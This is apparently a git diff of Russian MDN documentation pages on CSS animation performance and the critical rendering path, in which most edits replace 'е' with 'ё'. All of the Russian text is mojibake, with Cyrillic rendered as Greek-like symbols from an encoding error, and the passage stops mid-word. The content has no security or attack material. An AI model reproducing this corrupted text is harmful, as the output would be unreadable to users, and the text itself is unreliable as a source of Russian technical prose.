ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°Π΄Ρ€, Π° ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠ°Π΄Ρ€, Ссли это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ.Β </p>
<p><br>
- Однако, ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ измСнСния Ρ€Π°Π·Π½Ρ‹Ρ… CSS свойств Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ. ΠžΠ±Ρ‰Π΅ΠΏΡ€ΠΈΠ½ΡΡ‚ΠΎ, Ρ‡Ρ‚ΠΎ 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду - это достаточная частота, Ρ‡Ρ‚ΠΎΠ±Ρ‹ анимация выглядСла мягкой ΠΈ ΠΏΠ»Π°Π²Π½ΠΎΠΉ. НСслоТный подсчСт Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ частотС 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ лишь 16.7 миллисСкунд, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС скрипты, ΠΏΠ΅Ρ€Π΅ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ стили, ΡΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²Π°Ρ‚ΡŒ слои ΠΈΒ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€. ΠžΡ‚ΡΡŽΠ΄Π° слСдуСт, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹Π΅ скрипты ΠΈ анимация Π΄ΠΎΡ€ΠΎΠ³ΠΈΡ… CSS свойств ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всС Π΅Ρ‰Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ всС 60 ΠΊΠ°Π΄Ρ€ΠΎΠ².</p>
+ Однако, ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ измСнСния Ρ€Π°Π·Π½Ρ‹Ρ… CSS свойств Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ. ΠžΠ±Ρ‰Π΅ΠΏΡ€ΠΈΠ½ΡΡ‚ΠΎ, Ρ‡Ρ‚ΠΎ 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду - это достаточная частота, Ρ‡Ρ‚ΠΎΠ±Ρ‹ анимация выглядСла мягкой ΠΈ ΠΏΠ»Π°Π²Π½ΠΎΠΉ. НСслоТный подсчёт Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ частотС 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠΌΠ΅Π΅Ρ‚ лишь 16.7 миллисСкунд, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС скрипты, ΠΏΠ΅Ρ€Π΅ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ стили, ΡΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²Π°Ρ‚ΡŒ слои ΠΈΒ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π΄Ρ€. ΠžΡ‚ΡΡŽΠ΄Π° слСдуСт, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Π΄Π»Π΅Π½Π½Ρ‹Π΅ скрипты ΠΈ анимация Π΄ΠΎΡ€ΠΎΠ³ΠΈΡ… CSS свойств ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всС Π΅Ρ‰Ρ‘ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ всС 60 ΠΊΠ°Π΄Ρ€ΠΎΠ².</p>
<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ 60 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду - это стандартная частота обновлСния экрана. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚Β ΡΠΊΡ€Π°Π½Ρ‹ с Π³ΠΎΡ€Π°Π·Π΄ΠΎ большим FPS. НапримСр, экраны ΠΈΠ³Ρ€ΠΎΠ²Ρ‹Ρ… Π½ΠΎΡƒΡ‚Π±ΡƒΠΊΠΎΠ² ΠΈΠ»ΠΈ iPad Pro 2018 ΠΈΠΌΠ΅ΡŽΡ‚ частоту смСны ΠΊΠ°Π΄Ρ€ΠΎΠ², Ρ€Π°Π²Π½ΡƒΡŽ 120 fps ΠΈ Π²Ρ‹ΡˆΠ΅. Для Ρ‚Π°ΠΊΠΈΡ… устройств производитСли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‚ частоту 60-ю ΠΊΠ°Π΄Ρ€Π°ΠΌΠΈ Π² сСкунду, Π½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠΏΡ†ΠΈΠΉ этот Π»ΠΈΠΌΠΈΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ±Ρ€Π°Ρ‚ΡŒ. И Π² этом случаС, Π½Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ°Π΄Ρ€Π° устройство Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π²ΠΎΠ΄ΠΈΡ‚ΡŒ лишь 8.6 миллисСкунд.</p>
@@ -42,7 +42,7 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
<ol>
<li><strong>Recalculate Style</strong>: ΠΊΠΎΠ³Π΄Π° любоС CSS свойство для элСмСнта измСняСтся, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°Π½ΠΎΠ²ΠΎ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ Π½Π°Π±ΠΎΡ€ свойств.</li>
- <li><strong>Layout</strong>: Π·Π°Ρ‚Π΅ΠΌΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ вычислСнныС стили для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΈ Π³Π΅ΠΎΠΌΠ΅Ρ‚Ρ€ΠΈΡŽ элСмСнтов - ΠΊΠ°ΠΊ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊ ΠΈ рядом Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ…. Π­Ρ‚Π° опСрация называСтся "layout", Π½ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° Π΅Ρ‘ Ρ‚Π°ΠΊ ΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β "reflow".</li>
+ <li><strong>Layout</strong>: Π·Π°Ρ‚Π΅ΠΌΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ вычислСнныС стили для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΈ Π³Π΅ΠΎΠΌΠ΅Ρ‚Ρ€ΠΈΡŽ элСмСнтов - ΠΊΠ°ΠΊ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠ³ΠΎ, Ρ‚Π°ΠΊ ΠΈ рядом Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ…. Π­Ρ‚Π° опСрация называСтся "layout", Π½ΠΎ ΠΈΠ½ΠΎΠ³Π΄Π° Π΅Ρ‘ Ρ‚Π°ΠΊ ΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β "reflow".</li>
<li><strong>Paint</strong>: Π½Π°ΠΊΠΎΠ½Π΅Ρ†, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠ΅Ρ€Π΅Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ элСмСнты Π½Π° экранС. Но этот этап Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ простым, ΠΊΠ°ΠΊ Π½Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ. Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π° Π½Π° слои, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… пСрСрисовываСтся нСзависимо, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС этого ΠΎΠ½ΠΈ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² процСссС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ называСтся ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ "Composition".</li>
</ol>
@@ -100,7 +100,7 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€_margin_ΠΏΡ€ΠΎΡ‚ΠΈΠ²_transform">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: margin ΠΏΡ€ΠΎΡ‚ΠΈΠ²Β transform</h2>
-<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ инструмСнт <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. Ρ‘Ρ‘Β <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code>Β  ΠΈΒ <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p>
+<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ, ΠΊΠ°ΠΊ инструмСнт <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π½Π° Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ. Π΅Ρ‘Β <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code>Β  ΠΈΒ <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p>
<p>Π—Π°Π΄ΡƒΠΌΠΊΠ° этого сцСнария Π½Π΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒ вас, Ρ‡Ρ‚ΠΎ анимация Ρ‡Π΅Ρ€Π΅Π·Β <code>margin</code>Β - это всСгда плохая идСя. Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΉ Π½ΡƒΠΆΠ΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ инструмСнты ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ эти знания для ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ.</p>
@@ -116,7 +116,7 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
<h3 id="Анимация_свойства_margin">Анимация свойства margin</h3>
-<p>ΠžΡΡ‚Π°Π²ΠΈΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ ΠΎΠΏΡ†ΠΈΡŽ "Use margin" ΠΈ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ. Π’ это ΠΆΠ΅ врСмя ΠΎΡ‚ΠΊΡ€ΠΎΠ΅ΠΌΒ "Performance tool" ΠΈ Π½Π°ΠΆΠΌΠ΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ "Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ" (make a recording). Нам понадобится лишь ΠΏΠ°Ρ€Π° сСкунд записи.</p>
+<p>ΠžΡΡ‚Π°Π²ΠΈΠΌ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΉ ΠΎΠΏΡ†ΠΈΡŽ "Use margin" ΠΈ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ. Π’ это ΠΆΠ΅ врСмя ΠΎΡ‚ΠΊΡ€ΠΎΠ΅ΠΌΒ "Performance tool" ΠΈ Π½Π°ΠΆΠΌΡ‘ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒΒ "Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ" (make a recording). Нам понадобится лишь ΠΏΠ°Ρ€Π° сСкунд записи.</p>
<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ запись. Π’ΠΎΡ‡Π½ΠΎΠ΅ содСрТимоС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, зависит ΠΎΡ‚ вашСго устройства, систСмной Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ окруТСния, Π½ΠΎ, Π² Ρ†Π΅Π»ΠΎΠΌ это Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
@@ -128,7 +128,7 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
<p><img alt="" src="https://mdn.mozillademos.org/files/10857/margin-timeline-overview.png" style="display: block; height: 58px; margin-left: auto; margin-right: auto; width: 800px;"></p>
-<p>БСйчас здСсь ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ΡƒΠΆΠ°Ρ‚Ρ‹Π΅ этапы Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°Β <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, большая Ρ‡Π°ΡΡ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π° Π·Π΅Π»Π΅Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ - это Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π½Π°ΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">ΠΌΡ‹ Ρ‚Ρ€Π°Ρ‚ΠΈΠΌ ΠΌΠ½ΠΎΠ³ΠΎ рСсурсов Π½Π° отрисовываниС</a>.</p>
+<p>БСйчас здСсь ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ ΡƒΠΆΠ°Ρ‚Ρ‹Π΅ этапы Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°Β <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, большая Ρ‡Π°ΡΡ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΠ° Π·Π°ΠΏΠΎΠ»Π½Π΅Π½Π° Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ - это Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π½Π°ΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">ΠΌΡ‹ Ρ‚Ρ€Π°Ρ‚ΠΈΠΌ ΠΌΠ½ΠΎΠ³ΠΎ рСсурсов Π½Π° отрисовываниС</a>.</p>
<h4 id="Частота_ΠΊΠ°Π΄Ρ€ΠΎΠ²_Frame_Rate">Частота ΠΊΠ°Π΄Ρ€ΠΎΠ² (Frame Rate)</h4>
@@ -158,7 +158,7 @@ original_slug: Web/Performance/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ_Π°Π½ΠΈΠΌΠ°Ρ†
<p><img alt="" src="https://mdn.mozillademos.org/files/10869/transform-timeline-overview.png" style="display: block; height: 57px; margin-left: auto; margin-right: auto; width: 800px;"></p>
-<p>Π’ сравнСнии с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">вСрсиСй, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ margin</a>, ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ мСньшС Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ, Π½ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°. Π­Ρ‚ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ вмСсто paint ΠΌΡ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚Ρ€Π°Ρ‚ΠΈΠΌ рСсурсы Π½Π° этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout ΠΈΠ»ΠΈ style recalculation</a>.</p>
+<p>Π’ сравнСнии с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">вСрсиСй, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ margin</a>, ΠΌΡ‹ Π²ΠΈΠ΄ΠΈΠΌ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ мСньшС Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ, Π½ΠΎ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°. Π­Ρ‚ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ вмСсто paint ΠΌΡ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚Ρ€Π°Ρ‚ΠΈΠΌ рСсурсы Π½Π° этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout ΠΈΠ»ΠΈ style recalculation</a>.</p>
<h4 id="Частота_ΠΊΠ°Π΄Ρ€ΠΎΠ²_Frame_Rate_2">Частота ΠΊΠ°Π΄Ρ€ΠΎΠ² (Frame Rate)</h4>
diff --git a/files/ru/web/performance/critical_rendering_path/index.html b/files/ru/web/performance/critical_rendering_path/index.html
index ba9788828d..ee91e0e4c8 100644
--- a/files/ru/web/performance/critical_rendering_path/index.html
+++ b/files/ru/web/performance/critical_rendering_path/index.html
@@ -7,7 +7,7 @@ translation_of: Web/Performance/Critical_rendering_path
---
<p><span class="seoSummary">ΠšΡ€ΠΈΡ‚ΠΈΡ‡Π΅ΡΠΊΠΈΠ΅ этапы Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° (Critical Rendering Path) - это ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ шагов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ выполняСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΊΠΎΠ³Π΄Π° прСобразуСтся HTML, CSS ΠΈ JavaScript Π² пиксСли, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π° экранС. ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ этих шагов ΡƒΠ»ΡƒΡ‡ΡˆΠ°Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€Π°. Π­Ρ‚ΠΈ этапы Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² сСбя Ρ€Π°Π±ΠΎΡ‚Ρƒ с <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), <a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), Π΄Π΅Ρ€Π΅Π²ΠΎΠΌ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree)Β ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (layout)</span></p>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° DOM создаСтся Π² Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ парсит HTML. Π­Ρ‚ΠΎΡ‚ HTML ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ DOM. HTML ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‚ Π² создании CSS Object Model. Π”Π²ΠΈΠΆΠΎΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ эти Π΄Π²Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Ρ‹Π΅ ΠΌΠΎΠ΄Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΄Π΅Ρ€Π΅Π²ΠΎ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render tree). Компоновка (layout) опрСдСляСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта Π½Π° страницС. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠ° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° - пиксСли ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π½Π° экранС.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½Π°Ρ модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° DOM создаётся Π² Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ парсит HTML. Π­Ρ‚ΠΎΡ‚ HTML ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ DOM. HTML ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ стили, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‚ Π² создании CSS Object Model. Π”Π²ΠΈΠΆΠΎΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ эти Π΄Π²Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Ρ‹Π΅ 